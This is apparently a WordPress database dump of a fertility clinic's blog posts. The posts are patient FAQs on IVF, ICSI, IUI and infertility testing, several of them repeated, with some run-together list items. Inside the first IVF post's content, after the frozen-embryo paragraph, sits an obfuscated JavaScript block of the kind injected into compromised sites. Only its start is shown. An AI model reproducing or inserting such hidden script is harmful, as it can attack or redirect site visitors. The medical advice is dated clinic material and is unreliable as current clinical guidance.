(139,1,'2018-02-06 10:51:15','2018-02-06 10:51:15','<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf7.png\"></center>\r\n<strong>What is IVF?</strong>\r\n<!--more-->\r\n\r\n\r\n<p>IVF (In-vitro fertilization) or test tube baby as it is commonly called is a procedure in which the eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.</p>\r\n<strong>Who needs an IVF?</strong>\r\n<p>IVF may be considered if,</p>\r\n<ul>\r\n	<li>you have been diagnosed with unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>your fallopian tubes are blockedother techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful</li>\r\n	<li>other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successfulthe male partner has fertility problems and an abnormal semen analysis\r\n</li>\r\n	<li>The male partner has fertility problems and an abnormal semen analysis</li>\r\n	<li>you are using your partner’s frozen sperm in your treatment and IUI is not suitable for you</li>\r\n	<li>you are using donated eggs or your own frozen eggs in your treatment</li>\r\n	<li>you are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n	<li>If you have severe endometriosis</li>\r\n</ul>\r\n\r\n<strong>What do I expect during my treatment cycle?</strong>\r\n<p>Your treatment cycle would be as follows</p>\r\n<p><strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a day care procedure called hysteroscopy to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anaesthesia during the procedure and hence there will be no pain.</p>\r\n<p><strong>Step 2:</strong> Your husband has to freeze one semen sample as a back up.</p>\r\n<p><strong>Step 3:</strong>  Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as a ovulation trigger.</p>\r\n<p><strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anaesthesia, using a transvaginal ultrasound guidance. You will be discharged same evening, unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.</p>\r\n<p><strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.</p>\r\n<p><strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using an abdominal ultrasound guidance. The procedure is usually painless, no anaesthesia is required and you will be discharged in about two to three hours.</p>\r\n<p><strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval till your pregnancy check. You will be called for a pregnancy check 16-17 days after your embryo transfer.</p>\r\n\r\n<strong>What precautions do I take during the IVF treatment?</strong>\r\n<ul>\r\n	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n	<li>Be stress free and relax your mind</li>\r\n	<li>Avoid intercourse during the treatment.</li>\r\n	<li>Don’t do strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ul>\r\n\r\n<strong>How do I prepare myself for an egg retrieval procedure?</strong>\r\n<p>You will get admitted to the hospital early in the morning, between 6am – 7am and you have to be empty stomach atleast 6-8 hours before the procedure. You will be administered light anaesthesia as intravenous medication. The procedure is done vaginally using the scan guidance and a small needle. The entire procedure takes about 20-30 minutes. Post procedure you may have slight pain or bleeding which usually subsides with medication. You will be discharged about 6 hours later.</p>\r\n\r\n<strong>What do I expect during embryo transfer?</strong>\r\n<p>It is done 3-5 days following the egg retrieval, which will be decided by your clinician. No anaesthesia is required as it is a painless procedure. Rarely during your initial assessment if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anaesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bedrest until your pregnancy check.  This does not increase your chances of becoming pregnant.</p>\r\n <p>ICS</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\">\r\n \r\n  <p>IVF</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\">\r\n \r\n\r\n\r\n  <strong>What is ICSI? How does it differ from IVF?</strong>\r\n<P>ICSI –<a href=\"https://www.nuhospitals.com/ivf/infertility-treatment/\"> Intracytoplasmic sperm injection,</a> is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.</P>\r\n\r\n<strong>What is the success rate?</strong>\r\n<p>Success rate varies with multiple factors especially the age of the women, egg and the sperm quality and the underlying cause of infertility. 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Success decreases as the age of the woman increases.</p>\r\n\r\n<strong>What is frozen embryo transfer?</strong>\r\n<p>Surplus embryos after your transfer can be frozen and kept in liquid nitrogen at -180 degree Celsius, for later use.</p>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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IVF?</strong>\r\n<!--more-->\r\n\r\n\r\n<p>IVF (In-vitro fertilization) or test tube baby as it is commonly called is a procedure in which the eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.</p>\r\n<strong>Who needs an IVF?</strong>\r\n<p>IVF may be considered if,</p>\r\n<ul>\r\n	<li>you have been diagnosed with unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>your fallopian tubes are blockedother techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful</li>\r\n	<li>other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successfulthe male partner has fertility problems and an abnormal semen analysis\r\n</li>\r\n	<li>The male partner has fertility problems and an abnormal semen analysis</li>\r\n	<li>you are using your partner’s frozen sperm in your treatment and IUI is not suitable for you</li>\r\n	<li>you are using donated eggs or your own frozen eggs in your treatment</li>\r\n	<li>you are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n	<li>If you have severe endometriosis</li>\r\n</ul>\r\n\r\n<strong>What do I expect during my treatment cycle?</strong>\r\n<p>Your treatment cycle would be as follows</p>\r\n<p><strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a day care procedure called hysteroscopy to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anaesthesia during the procedure and hence there will be no pain.</p>\r\n<p><strong>Step 2:</strong> Your husband has to freeze one semen sample as a back up.</p>\r\n<p><strong>Step 3:</strong>  Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as a ovulation trigger.</p>\r\n<p><strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anaesthesia, using a transvaginal ultrasound guidance. You will be discharged same evening, unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.</p>\r\n<p><strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.</p>\r\n<p><strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using an abdominal ultrasound guidance. The procedure is usually painless, no anaesthesia is required and you will be discharged in about two to three hours.</p>\r\n<p><strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval till your pregnancy check. You will be called for a pregnancy check 16-17 days after your embryo transfer.</p>\r\n\r\n<strong>What precautions do I take during the IVF treatment?</strong>\r\n<ul>\r\n	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n	<li>Be stress free and relax your mind</li>\r\n	<li>Avoid intercourse during the treatment.</li>\r\n	<li>Don’t do strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ul>\r\n\r\n<strong>How do I prepare myself for an egg retrieval procedure?</strong>\r\n<p>You will get admitted to the hospital early in the morning, between 6am – 7am and you have to be empty stomach atleast 6-8 hours before the procedure. You will be administered light anaesthesia as intravenous medication. The procedure is done vaginally using the scan guidance and a small needle. The entire procedure takes about 20-30 minutes. Post procedure you may have slight pain or bleeding which usually subsides with medication. You will be discharged about 6 hours later.</p>\r\n\r\n<strong>What do I expect during embryo transfer?</strong>\r\n<p>It is done 3-5 days following the egg retrieval, which will be decided by your clinician. No anaesthesia is required as it is a painless procedure. Rarely during your initial assessment if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anaesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bedrest until your pregnancy check.  This does not increase your chances of becoming pregnant.</p>\r\n <p>ICS</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\">\r\n \r\n  <p>IVF</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\">\r\n \r\n\r\n\r\n  <strong>What is ICSI? How does it differ from IVF?</strong>\r\n<P>ICSI –<a href=\"https://www.nuhospitals.com/ivf/infertility-treatment/\"> Intracytoplasmic sperm injection,</a> is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.</P>\r\n\r\n<strong>What is the success rate?</strong>\r\n<p>Success rate varies with multiple factors especially the age of the women, egg and the sperm quality and the underlying cause of infertility. Over all the success varies between 40-50 %. Success decreases as the age of the woman increases.</p>\r\n\r\n<strong>What is frozen embryo transfer?</strong>\r\n<p>Surplus embryos after your transfer can be frozen and kept in liquid nitrogen at -180 degree Celsius, for later use.</p>\r\n\r\n<strong>What are the complications?</strong>\r\n<p>Two most important complications of IVF are</p>\r\n<ul>\r\n	<li>Multiple pregnancy (20-25%)</li>\r\n	<li>Ovarian hyperstimulation syndrome which occurs due to excessive response and can be prevented b appropriate modifications in the medications</li>\r\n	<li>Rarely ovaries may twist causing acute pain and may require a laparoscopy</li>\r\n</ul>\r\n<strong>When can I know if I have become pregnant?</strong>\r\n<p>You will be tested for beta HCG – a blood test to confirm pregnancy 14 to 16 days after your embryo transfer</p>\r\n\r\n<strong>Is my pregnancy going to be more riskier after IVF?</strong>\r\n<p>There is no evidence to show that IVF babies have increased rate of abnormalities. The pregnancy outcome will be like a normal conception but your doctor may have a low threshold for intervention when the problem arises.</p>\r\n\r\n<strong>References</strong>\r\n<ul>\r\n<li>Fertility: assessment and treatment for people with <a href=\"https://www.nuhospitals.com/fertility/\">fertility</a> problems.NICE clinical guideline ;– Issued: February 2013.</li>\r\n	<li>van Loendersloot LL, van Wely M, Limpens J, Bossuyt PM, Repping S, van der Veen F (2010). “Predictive factors in in vitro fertilization (IVF): a systematic review and meta-analysis”. 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(IUI) is a type of artificial insemination in which there is a transfer of many motile (actively swimming) sperm, through the cervix and directly into the uterus.\r\n\r\n<!--more-->\r\n<div style=\"text-align: justify;\">\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Why is IUI performed?</strong></li>\r\n</ul>\r\n<strong>IUI can be performed depending on the age and reproductive health of the woman.</strong>\r\n<ul>\r\n 	<li>Lack of conception after a woman has been on ovulation enhancing agents. This can be particularly important when taking Clomiphene since it can cause decreased cervical mucus</li>\r\n 	<li>Cervical factor</li>\r\n 	<li>Mild to moderately abnormal semen parameters can be an indication for IUI</li>\r\n 	<li>Unexplained infertility</li>\r\n 	<li>Minimal – mild endometriosis</li>\r\n 	<li>Advancing maternal age</li>\r\n 	<li>Male ejaculatory dysfunction</li>\r\n 	<li>Use of frozen sperm</li>\r\n 	<li>When donor sperm needs to be used</li>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>How is an IUI performed?</strong></li>\r\n</ul>\r\nAn IUI is performed by threading a very thin flexible catheter through the cervix and injecting washed sperm directly into the uterus. It usually requires the insertion of a speculum and then the catheter. The whole process takes only a few minutes.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>When is the best time to do an IUI?</strong></li>\r\n</ul>\r\nIdeally, an IUI should be performed around the time of ovulation. When timing is based on an hCG (human chorionic gonadotropin) injection, the IUI’s are usually done between 24 and 48 hours later. If two IUI’s are scheduled, they are usually spaced at least 24 hours apart.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Where is the sperm collected? How long before the IUI?</strong></li>\r\n</ul>\r\n<img class=\"alignright\" title=\"Intrauterine insemination (IUI)\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog4.png\" alt=\"Intrauterine insemination (IUI)\" width=\"231\" height=\"180\" />Usually, the sample is collected through ejaculation into a sterile collection cup. Most clinics want the semen to be delivered within a half-hour of ejaculation, around the time of liquefaction, so if one lives close enough the sample can be collected at home.\r\n\r\nThere will delay between when the semen sample is given for washing and when it will be inseminated. The amount of time depends on the washing technique used, which takes 30 minutes to two hours. Most will perform the IUI as soon after washing is completed as possible.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>How long does washed sperm live?</strong></li>\r\n</ul>\r\nCurrent research indicates that washed sperm can live 24-72 hours; however, it does lose potency (ability to fertilize the egg) after 24 hours. Another issue with <a href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #3366ff;\"><strong>Intrauterine insemination (IUI)</strong></span></a> is that the sperm can keep on swimming beyond the fallopian tube, so the ideal window is really within 6-12 hours of the egg being released, with a larger margin before ovulation than after since the egg’s viability is shorter. Sperm can live up to 5 days in fertile mucus, 2-3 days being pretty common, so combining IUI with intercourse may provide better coverage.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>How long do I have to lie down after an IUI?</strong></li>\r\n</ul>\r\nIt is advisable to lie down for <strong>30 minutes </strong>after the procedure.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Do I need to rest after an IUI?</strong></li>\r\n</ul>\r\nMost people don’t need to, but if you had cramping or don’t feel well afterward it makes sense to take rest for a while. Some people reduce their aerobic activity and lifting heavy weights during the luteal phase, in the hope that it will increase the chance of implantation.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>How long before an IUI should the male abstain from intercourse/ejaculating and store up sperm?</strong></li>\r\n</ul>\r\nThis depends on your individual situation, but it usually should not be more than 72 hours since his last ejaculation in order to ensure the best motility and morphology. Where <strong><span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\">low sperm count</a> </span></strong>is the reason for IUI, it is generally best to wait 48 hours between ejaculation and collecting sperm for the IUI. With no sperm count issues, it makes sense to wait at least 24 hours.\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>How soon after an IUI can I have intercourse?</strong></li>\r\n</ul>\r\nUsually, you can have intercourse anytime after an IUI. In fact, most doctors suggest having intercourse, when that is an option, soon after the last IUI to help make sure ovulation is covered. The <span style=\"color: #3366ff;\"><strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\">best fertility </a>doctors</span> </strong><span style=\"color: #000000;\">may</span></span><span style=\"color: #000000;\"> sugg</span>est waiting <strong>48 hours</strong> to resume relations if you had any bleeding during the IUI.\r\n\r\n</div>\r\n<div style=\"text-align: justify;\">\r\n<ul>\r\n 	<li style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>What are the risks involved in IUI?</strong></li>\r\n</ul>\r\nThe main risks are some discomfort such as cramping, a minor injury to the cervix that leads to bleeding or spotting, or the introduction of infection. There are also risks of hyperstimulation associated with the use of ovulation induction medications such as clomiphene citrate (low risk) and gonadotropin therapy (higher risk). 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IUI','','inherit','open','closed','','blog3','','','2019-07-30 07:21:47','2019-07-30 07:21:47','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog3.png',0,'attachment','image/png',0),(144,1,'2018-02-06 11:45:41','2018-02-06 11:45:41','','blog2-300x50','','inherit','open','closed','','blog2-300x50','','','2018-02-06 11:45:41','2018-02-06 11:45:41','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog2-300x50.png',0,'attachment','image/png',0),(145,1,'2018-02-06 11:47:52','2018-02-06 11:47:52','','blog4','','inherit','open','closed','','blog4','','','2018-02-06 11:47:52','2018-02-06 11:47:52','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog4.png',0,'attachment','image/png',0),(146,1,'2018-02-06 11:52:06','2018-02-06 11:52:06','<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog3.png\">\r\n<strong>WHAT IS IUI?</strong>\r\n<p>Intrauterine insemination (IUI) is a type of artificial insemination in which there is a transfer of many motile (actively swimming) sperm, through the cervix and directly into the uterus.</p>\r\n\r\n<strong>WHY IS IUI PERFORMED?</strong>\r\n<ul>\r\n 	<li>Lack of conception after a woman has been on ovulation enhancing agents. This can be particularly important when taking Clomiphene since it can cause decreased cervical mucus</li>\r\n	<li>Cervical factor</li>\r\n	<li>Mild to moderately abnormal semen parameters can be an indication for IUI</li>\r\n	<li>Unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>Minimal – mild endometriosis</li>\r\n	<li>Advancing maternal age</li>\r\n	<li>Male ejaculatory dysfunction</li>\r\n	<li>Use of frozen sperm</li>\r\n	<li>When <a href=\"https://en.wikipedia.org/wiki/Sperm_donation\">donor sperm </a>needs to be used</li>\r\n\r\n </ul>\r\n\r\n<strong>HOW IS AN IUI PERFORMED?</strong>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog2-300x50.png\">\r\n<p>An IUI is performed by threading a very thin flexible catheter through the cervix and injecting washed sperm directly into the uterus. It usually requires the insertion of a speculum and then the catheter. The whole process takes only few minutes.</p>\r\n\r\n<strong>WHEN IS THE BEST TIME TO DO AN IUI?</strong>\r\n<p>Ideally an IUI should be performed around the time of ovulation. When timing is based on an hCG (human chorionic gonadotropin) injection, the IUI’s are usually done between 24 and 48 hours later. If two IUI’s are scheduled, they are usually spaced at least 24 hours apart.</p>\r\n\r\n<strong>Where is the sperm collected? How long before the IUI?</strong>\r\n<p>Usually the sample is collected through ejaculation into a sterile collection cup. Most clinics want the semen to be delivered within a half hour of ejaculation, around the time of liquefaction, so if one lives close enough the sample can be collected at home.</p>\r\n<p>There will delay between when the semen sample is given for washing and when it will be inseminated. The amount of time depends on the washing technique used, which takes 30 minutes to two hours. Most will perform the IUI as soon after washing is completed as possible.</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog4.png\">\r\n\r\n<strong>How long does washed sperm live?</strong>\r\n<p>Current research indicates that washed sperm can live 24-72 hours; however, it does lose potency (ability to fertilize the egg) after 24 hours. Another issue with IUI is that the sperm can keep on swimming beyond the fallopian tube, so the ideal window is really within 6-12 hours of the egg being released, with a larger margin before ovulation than after since the egg’s viability is shorter. Sperm can live up to 5 days in fertile mucus, 2-3 days being pretty common, so combining IUI with intercourse may provide better coverage.</p>\r\n\r\n<strong>How long do I have to lie down after an IUI?</strong>\r\n<p>It is advisable to lie down  for 30 minutes after the procedure.</p>\r\n\r\n<strong>Do I need to rest after an IUI?</strong>\r\n<p>Most people don’t need to, but if you had cramping or don’t feel well afterward it makes sense to take rest for awhile. Some people reduce their aerobic activity and lifting heavy weights during the luteal phase, in the hope that, it will increase the chance of implantation.</p>\r\n\r\n<strong>How long before an IUI should the male abstain from intercourse/ejaculating and store up sperm?</strong>\r\n<p>This depends on your individual situation, but it usually should not be more than 72 hours since his last ejaculation in order to ensure the best motility and morphology. Where low sperm count is the reason for IUI, it is generally best to wait 48 hours between ejaculation and collecting sperm for the IUI. With no sperm count issues, it makes sense to wait at least 24 hours.</p>\r\n<strong>How soon after an IUI can I have intercourse?</strong>\r\n<p>Usually you can have intercourse anytime after an IUI. In fact, most doctors suggest having intercourse, when that is an option, soon after the last IUI to help make sure ovulation is covered. The doctor may suggest waiting 48 hours to resume relations if you had any bleeding during the IUI.</p>\r\n\r\n<strong>What are the risks involved in IUI?</strong>\r\n<p>The main risks are some discomfort such as cramping, minor injury to the cervix that leads to bleeding or spotting, or introduction of infection .There are also risks of hyperstimulation associated with the use of ovulation induction medications such as clomiphene citrate (low risk) and gonadotropin therapy (higher risk). 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IUI?</strong>\r\n<p>Intrauterine insemination (IUI) is a type of artificial insemination in which there is a transfer of many motile (actively swimming) sperm, through the cervix and directly into the uterus.</p>\r\n\r\n<strong>WHY IS IUI PERFORMED?</strong>\r\n<ul>\r\n 	<li>Lack of conception after a woman has been on ovulation enhancing agents. This can be particularly important when taking Clomiphene since it can cause decreased cervical mucus</li>\r\n	<li>Cervical factor</li>\r\n	<li>Mild to moderately abnormal semen parameters can be an indication for IUI</li>\r\n	<li>Unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>Minimal – mild endometriosis</li>\r\n	<li>Advancing maternal age</li>\r\n	<li>Male ejaculatory dysfunction</li>\r\n	<li>Use of frozen sperm</li>\r\n	<li>When <a href=\"https://en.wikipedia.org/wiki/Sperm_donation\">donor sperm </a>needs to be used</li>\r\n\r\n </ul>\r\n\r\n<strong>HOW IS AN IUI PERFORMED?</strong>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog2-300x50.png\">\r\n<p>An IUI is performed by threading a very thin flexible catheter through the cervix and injecting washed sperm directly into the uterus. It usually requires the insertion of a speculum and then the catheter. The whole process takes only few minutes.</p>\r\n\r\n<strong>WHEN IS THE BEST TIME TO DO AN IUI?</strong>\r\n<p>Ideally an IUI should be performed around the time of ovulation. When timing is based on an hCG (human chorionic gonadotropin) injection, the IUI’s are usually done between 24 and 48 hours later. If two IUI’s are scheduled, they are usually spaced at least 24 hours apart.</p>\r\n\r\n<strong>Where is the sperm collected? How long before the IUI?</strong>\r\n<p>Usually the sample is collected through ejaculation into a sterile collection cup. Most clinics want the semen to be delivered within a half hour of ejaculation, around the time of liquefaction, so if one lives close enough the sample can be collected at home.</p>\r\n<p>There will delay between when the semen sample is given for washing and when it will be inseminated. The amount of time depends on the washing technique used, which takes 30 minutes to two hours. Most will perform the IUI as soon after washing is completed as possible.</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog4.png\">\r\n\r\n<strong>How long does washed sperm live?</strong>\r\n<p>Current research indicates that washed sperm can live 24-72 hours; however, it does lose potency (ability to fertilize the egg) after 24 hours. Another issue with IUI is that the sperm can keep on swimming beyond the fallopian tube, so the ideal window is really within 6-12 hours of the egg being released, with a larger margin before ovulation than after since the egg’s viability is shorter. Sperm can live up to 5 days in fertile mucus, 2-3 days being pretty common, so combining IUI with intercourse may provide better coverage.</p>\r\n\r\n<strong>How long do I have to lie down after an IUI?</strong>\r\n<p>It is advisable to lie down  for 30 minutes after the procedure.</p>\r\n\r\n<strong>Do I need to rest after an IUI?</strong>\r\n<p>Most people don’t need to, but if you had cramping or don’t feel well afterward it makes sense to take rest for awhile. Some people reduce their aerobic activity and lifting heavy weights during the luteal phase, in the hope that, it will increase the chance of implantation.</p>\r\n\r\n<strong>How long before an IUI should the male abstain from intercourse/ejaculating and store up sperm?</strong>\r\n<p>This depends on your individual situation, but it usually should not be more than 72 hours since his last ejaculation in order to ensure the best motility and morphology. Where low sperm count is the reason for IUI, it is generally best to wait 48 hours between ejaculation and collecting sperm for the IUI. With no sperm count issues, it makes sense to wait at least 24 hours.</p>\r\n<strong>How soon after an IUI can I have intercourse?</strong>\r\n<p>Usually you can have intercourse anytime after an IUI. In fact, most doctors suggest having intercourse, when that is an option, soon after the last IUI to help make sure ovulation is covered. The doctor may suggest waiting 48 hours to resume relations if you had any bleeding during the IUI.</p>\r\n\r\n<strong>What are the risks involved in IUI?</strong>\r\n<p>The main risks are some discomfort such as cramping, minor injury to the cervix that leads to bleeding or spotting, or introduction of infection .There are also risks of hyperstimulation associated with the use of ovulation induction medications such as clomiphene citrate (low risk) and gonadotropin therapy (higher risk). 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infertility?</strong></h2>\r\n<div style=\"text-align: justify;\">\r\n\r\nInfertility is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><!--more--></h2>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How common is the problem?</strong></h2>\r\nInfertility is a medical condition that affects up to one in six couples of reproductive age.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What influences infertility?</strong></h2>\r\nThe single biggest influence on a couple’s chances of getting pregnant is a woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What are the causes of infertility?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Causes of infertility are varied and can include:</strong></h3>\r\n<ul>\r\n 	<li>Problem with the production of sperm or eggs.</li>\r\n 	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n 	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How do we assess female infertility?</strong></h2>\r\nThe first step for couples seeking fertility treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>To measure female fertility, the following tests are often performed:</strong></h3>\r\n<ul>\r\n 	<li><strong>Ovulation tests</strong> a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n 	<li><strong>Ultrasound scan</strong> a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n 	<li><strong>Ovarian Reserve (AMH Test) </strong>a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery/history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\nSometimes fertility specialists also perform additional tests, including a hysterosalpingogram (HSG), sonohysterogram or diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries, and uterus.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How do we assess male infertility?</strong></h2>\r\nThe most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue with his<span style=\"color: #000000;\"> fertility.</span>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Specialist Andrology assessment of sperm is essential to measure:</strong></h3>\r\n<ul>\r\n 	<li>The number of sperm, volume, and consistency of the sample.</li>\r\n 	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n</ul>\r\n<center><img class=\"alignnone\" title=\"Andrology Assessment\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\" alt=\"Andrology Assessment\" width=\"300\" height=\"213\" /></center>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What treatment options are available for infertility?</strong></h2>\r\nThere are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.\r\n\r\n<a href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"color: #3366ff;\">Intrauterine Insemination (IUI)</span></strong></a> is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.\r\n\r\nA more advanced treatment option, In-vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.\r\n\r\nIn case of severe male infertility, <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\">Intra Cytoplasmic Sperm Injection (ICSI)</a></span></strong> is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Overview of an IVF Cycle</strong></h2>\r\n<center><img class=\"alignnone\" title=\"IVF Cycle\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\" alt=\"IVF Cycle\" width=\"300\" height=\"158\" /></center>\r\n<h2 